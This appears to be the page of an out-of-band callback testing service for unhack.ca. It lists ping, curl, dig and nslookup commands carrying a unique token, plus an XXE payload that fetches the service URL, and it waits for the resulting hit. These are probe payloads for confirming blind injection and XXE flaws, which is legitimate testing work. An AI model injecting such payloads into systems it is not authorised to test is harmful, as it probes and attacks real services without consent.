$ ping -c1 -p 00a388d0cb4d8174be1e7cae8543e400 unhack.ca
 
$ curl http://unhack.ca/p/a388d0cb4d8174be1e7cae8543e4
 
$ dig a388d0cb4d8174be1e7cae8543e4 @unhack.ca
 
$ dig a388d0cb4d8174be1e7cae8543e4.ns.unhack.ca
 
C:\> nslookup a388d0cb4d8174be1e7cae8543e4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a388d0cb4d8174be1e7cae8543e4">]>
    <foo>&xxe;</foo>
 
Waiting for ping...